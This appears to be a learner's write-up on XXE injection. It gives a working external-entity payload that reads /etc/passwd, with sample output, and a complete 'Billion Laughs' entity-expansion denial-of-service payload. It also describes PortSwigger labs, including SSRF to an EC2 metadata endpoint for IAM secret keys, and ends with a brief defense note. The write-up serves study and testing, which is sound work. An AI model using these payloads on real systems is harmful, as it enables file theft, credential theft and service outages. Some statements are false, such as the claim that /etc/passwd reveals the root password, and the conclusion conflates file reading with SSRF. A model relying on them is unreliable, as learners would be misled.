

XXE Injection

Introduction

XXE or (External entity injection) is a type of web vulnerability that affects websites that make use of xml to transmit structured data.

What can an attacker do with XXE ?

An XXE attack is capable of accessing the files residing in the application server's filesystem. It is even possible to interact with any backend or external systems that the application itself can access.

Types of XXE attacks

There are two popular methods to perform XXE attacks -

1. SSRF
2. DOS

Testing Methodology

To perform an XXE attack, one has to modify the xml in such a way that it includes what's called an **external entity**.

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```

This external entity is capable of accessing files that are not intended to be accessed.

Accessing a file named /etc/passwd can reveal the password of the root user (administrator).

```
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

Billion Laughs Attack

This attack basically involves using XML's features to DOS the web server.

For example, a web server can be DOSed by simply calling entities within entities recursively in XML.

```
1  <?XML VERSION="1.0" ENCODING="UTF-8"?>
2  <!DOCTYPE SOAP-ENV:ENVELOPE [
3  <!ELEMENT SOAP-ENV:ENVELOPE ANY>
4  <!ATTLIST SOAP-ENV:ENVELOPE ENTITYREFERENCE CDATA #IMPLIED>
5  <!ENTITY LOL "LOL">
6  <!ENTITY LOL1 "&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;">
7  <!ENTITY LOL2 "&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;">
8  <!ENTITY LOL3 "&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;">
9  <!ENTITY LOL4 "&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;">
10 <!ENTITY LOL5 "&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;">
11 <!ENTITY LOL6 "&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;">
12 <!ENTITY LOL7 "&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;">
13 <!ENTITY LOL8 "&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;">
14 <!ENTITY LOL9 "&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;">
15 ] >
16 <SOAP:ENVELOPE ENTITYREFERENCE="&LOL9;" XMLNS:SOAP="HTTP://SCHEMAS.XMLSOAP.ORG/SOAP/ENVELOPE/">
17 <SOAP:BODY>
18 <KEYWORD XMLNS="URN:PARASOFT:WS:STORE">F00</KEYWORD>
19 </SOAP:BODY>
20 </SOAP:ENVELOPE>
```

Practical (Lab)

Completed labs related to XXE at PortsWigger

<https://portswigger.net/web-security/xxe>

Proof of completion:

Lab: Exploiting XXE to perform SSRF attacks

APPRENTICE

LAB  Solved

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is `http://169.254.169.254/`. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.

To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint.

 ACCESS THE LAB

Lab: Exploiting XXE using external entities to retrieve files

APPRENTICE

LAB  Solved

This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.

To solve the lab, inject an XML external entity to retrieve the contents of the `/etc/passwd` file.

 ACCESS THE LAB

Conclusion

XML External Entity (XXE) injection is a web vulnerability that occurs when websites process XML data containing references to external entities. An attacker can use this flaw to their advantage to obtain unauthorized access to server's filesystem (SSRF) and even DOS attacks, such as the Billion Laughs attack. The core defense lies in the secure configuration of XML parsers, specifically by disabling the processing of external entities.